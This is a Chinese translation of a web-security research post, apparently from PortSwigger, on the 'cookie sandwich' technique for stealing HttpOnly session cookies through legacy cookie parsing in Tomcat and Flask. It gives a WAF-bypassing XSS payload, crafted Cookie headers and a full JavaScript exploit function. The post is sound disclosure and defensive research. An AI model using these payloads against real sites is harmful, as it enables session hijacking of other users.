利用"Cookie三明治"技术窃取HttpOnly Cookie
在这篇文章中,我将介绍"Cookie三明治"技术,该技术可让你在某些服务器上绕过HttpOnly标志。这项研究是继《使用幻影$Version Cookie绕过WAF》之后的延续。细心的读者可能已经注意到,传统Cookie允许在Cookie值中包含特殊字符。本文将利用这一特性进行攻击。
Cookie三明治技术
Cookie三明治技术通过操纵特殊字符在Cookie中的使用方式,影响Web服务器解析和处理Cookie的过程。通过巧妙放置引号和传统Cookie,攻击者可以使服务器误解Cookie头的结构,从而可能将HttpOnly Cookie暴露给客户端脚本。
工作原理
由于Chrome浏览器不支持传统Cookie,它允许攻击者从JavaScript创建以 <math xmlns="http://www.w3.org/1998/Math/MathML"> 开头的 C o o k i e 名称(如 开头的Cookie名称(如 </math>开头的Cookie名称(如Version)。此外,引号可以放置在任何Cookie值中。以下代码演示了如何创建Cookie三明治来窃取受限制的Cookie值:
javascript
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// 三明治内的所有Cookie将被服务器端放入param1值
document.cookie = `param2=end";`;
请求/响应中的Cookie头可能显示为:
ini
GET / HTTP/1.1
Cookie: $Version=1; param1="start; sessionId=secret; param2=end"
=>
HTTP/1.1 200 OK
Set-Cookie: param1="start; sessionId=secret; param2=end";
关于Apache Tomcat处理Cookie头的简要提醒:
- 解析器同时支持RFC6265和RFC2109标准,如果字符串以特殊的$Version属性开头,则默认使用传统解析逻辑
- 如果Cookie值以双引号开头,它将持续读取直到下一个未转义的双引号字符
- 它还会对任何以反斜杠()开头的字符进行转义
如果应用程序不正确地反映了响应中的param1 Cookie或没有HttpOnly属性,整个Cookie字符串(包括浏览器在param1和param2之间发送的任何HttpOnly会话Cookie)都可能被暴露。
Python框架默认支持带引号的字符串,不需要特殊的$Version属性。这些框架还将分号识别为浏览器的Cookie对分隔符,自动将所有特殊字符编码为四字符序列:一个正斜杠后跟该字符的三位八进制等效值。针对Flask应用程序的"Cookie三明治"攻击可能如下所示:
ini
GET / HTTP/1.1
Cookie: param1="start; sessionId=secret; param2=end"
=>
HTTP/1.1 200 OK
Set-Cookie: param1="start\073 sessionId=secret\073 param2=end";
实际案例
分析工具通常使用Cookie或URL参数来跟踪用户行为,很少验证跟踪ID。这使它们成为Cookie三明治攻击的完美目标。通常,当用户首次访问网站时,服务器会创建一个随机字符串visitorId并将其存储在Cookie中。然后该visitorId会显示在网页上用于分析:
html
<script>
{"visitorId":"deadbeef"}
</script>
这种情况造成了漏洞。如果攻击者能够访问网页内容(可能是通过带有凭据的CORS请求或同一来源的XSS攻击),他们可以绕过HttpOnly Cookie标志,暴露敏感用户信息。
窃取HttpOnly PHPSESSID Cookie
在最近的测试中,我遇到了一个易受攻击的应用程序,其错误页面上存在反射型XSS漏洞。以下是我如何利用它来窃取HttpOnly PHPSESSID Cookie的过程。这个过程涉及绕过一些安全控制并利用一个被忽视的跟踪域漏洞。
第一步:识别XSS漏洞
易受攻击的应用程序在没有适当转义的情况下反映了某些链接和元属性。这使我能够注入JavaScript代码,因为服务器没有正确清理用户输入。虽然部署了AWS WAF,但由于未修补的oncontentvisibilityautostatechange事件,它可以被绕过。感谢@garethheyes帮助我完成这个技巧:
html
<link rel="canonical"oncontentvisibilityautostatechange="alert(1)"style="content-visibility:auto">
第二步:查找暴露的Cookie参数
确认可以在页面上运行自定义JavaScript后,我的下一个目标是找到与域关联的HttpOnly Cookie。最初,我没有直接找到任何可访问的分析JavaScript,但我发现了一个跟踪域,它在JSON响应体中反映了会话ID参数。这个跟踪端点接受URL中的会话参数,如下所示:
bash
GET /json?session=ignored HTTP/1.1
Host: tracking.example.com
Origin: https://www.example.com
Referer: https://www.example.com/
Cookie: session=deadbeef;
HTTP/2 200 OK
Content-Type: application/json;charset=UTF-8
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true
{"session":"deadbeef"}
这个网站非常适合用于我们的攻击,因为它:
- 在响应体中反映Cookie值
- 允许来自易受攻击域的跨源请求
第三步:利用Cookie降级进行窃取
这个跟踪应用程序有一个有趣的行为:虽然会话URL查询参数是必需的,但服务器会用Cookie头中的值覆盖它。由于后端运行在Apache Tomcat上,我利用幻影 <math xmlns="http://www.w3.org/1998/Math/MathML"> V e r s i o n C o o k i e 切换到 R F C 2109 并执行 C o o k i e 三明治攻击。然而,一个关键挑战仍然存在:控制客户端请求中 C o o k i e 的顺序。要使 Version Cookie切换到RFC2109并执行Cookie三明治攻击。然而,一个关键挑战仍然存在:控制客户端请求中Cookie的顺序。要使 </math>VersionCookie切换到RFC2109并执行Cookie三明治攻击。然而,一个关键挑战仍然存在:控制客户端请求中Cookie的顺序。要使Version Cookie首先发送,它必须要么更早创建,要么具有比所有其他Cookie更长的path属性。虽然我们无法控制受害者Cookie的创建时间,但我们可以操纵path属性。在这种情况下,选择的路径是/json。
通过使用精心制作的Cookie头,我可以操纵Cookie的顺序,并利用反射漏洞捕获HttpOnly PHPSESSID Cookie。以下是我使用的恶意请求示例:
bash
GET /json?session=ignored
Host: tracking.example.com
Origin: https://www.example.com
Referer: https://www.example.com/
Cookie: $Version=1; session="deadbeef; PHPSESSID=secret; dummy=qaz"
HTTP/2 200 OK
Content-Type: application/json;charset=UTF-8
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true
{"session":"deadbeef; PHPSESSID=secret; dummy=qaz"}
第四步:整合所有步骤
总结一下,攻击过程如下:
- 用户访问包含oncontentvisibilityautostatechange XSS负载的页面
- 注入的JavaScript设置Cookie $Version=1和session="deadbeef,两个Cookie都有Path值/json以更改Cookie顺序
- 脚本最后追加Cookie dummy=qaz"
- 脚本然后向跟踪应用程序端点发出CORS请求,该端点将被操纵的PHPSESSID Cookie反映在JSON响应中
最终利用代码:
javascript
async function sandwich(target, cookie) {
// 第一步:创建带有目标src的iframe并等待
const iframe = document.createElement('iframe');
const url = new URL(target);
const domain = url.hostname;
const path = url.pathname;
iframe.src = target;
// 隐藏iframe
iframe.style.display = 'none';
document.body.appendChild(iframe);
iframe.onload = async () => {
// 第二步:创建Cookie工具
document.cookie = `$Version=1; domain=${domain}; path=${path};`;
document.cookie = `${cookie}="deadbeef; domain=${domain}; path=${path};`;
document.cookie = `dummy=qaz"; domain=${domain}; path=/;`;
// 第三步:发送fetch请求
try {
const response = await fetch(`${target}`, {
credentials: 'include',
});
const responseData = await response.text();
// 第四步:警报响应
alert(responseData);
} catch (error) {
console.error('Error fetching data:', error);
}
};
}
setTimeout(sandwich, 100, 'http://example.com/json', 'session');
通过这种方法,我可以从JSON响应中获取其他用户的会话Cookie,利用XSS、Cookie操纵和跟踪应用程序的漏洞。
防御建议
Cookie安全对于保护Web应用程序免受多种攻击至关重要。请密切关注Cookie编码和解析行为。重要的是要理解您使用的框架和浏览器如何处理Cookie。请注意,默认情况下Apache Tomcat 8.5.x、9.0.x和10.0.x版本支持RFC2109。
延伸阅读
务必查看我们之前的博客文章《使用幻影$Version Cookie绕过WAF》。
要获取我们最新的博客文章和安全见解,请在X(前Twitter)和Bluesky上关注我们,并加入官方的PortSwigger Discord。
如需更深入的见解,我强烈推荐Ankur Sundara的博客文章《Cookie Bugs - Smuggling & Injection》。